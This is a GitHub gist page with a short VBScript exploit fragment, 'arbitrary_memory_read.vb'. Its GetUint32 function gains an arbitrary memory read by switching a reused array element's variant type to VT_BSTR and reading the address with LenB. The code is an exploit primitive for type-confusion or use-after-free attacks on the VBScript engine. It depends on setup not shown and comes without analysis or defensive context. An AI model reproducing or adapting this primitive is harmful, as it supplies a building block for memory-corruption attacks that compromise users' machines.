Skip to content

Instantly share code, notes, and snippets.

@piotrflorczyk

piotrflorczyk/arbitrary_memory_read.vb Secret

Created July 11, 2018 15:07
Show Gist options
  • Save piotrflorczyk/444563feacbccabdad352e4f336dae91 to your computer and use it in GitHub Desktop.
Save piotrflorczyk/444563feacbccabdad352e4f336dae91 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
arbitrary_memory_read.vb
Function GetUint32(addr)
Dim value
resueObjectA_arr.mem(some_memory+8)=addr+4 ' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
resueObjectA_arr.mem(some_memory)=8 ' set type to VT_BSTR
value=resueObjectA_arr.ReadBstrValll
resueObjectA_arr.mem(some_memory)=2 ' set type to original VT_I2
GetUint32=value
End Function
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment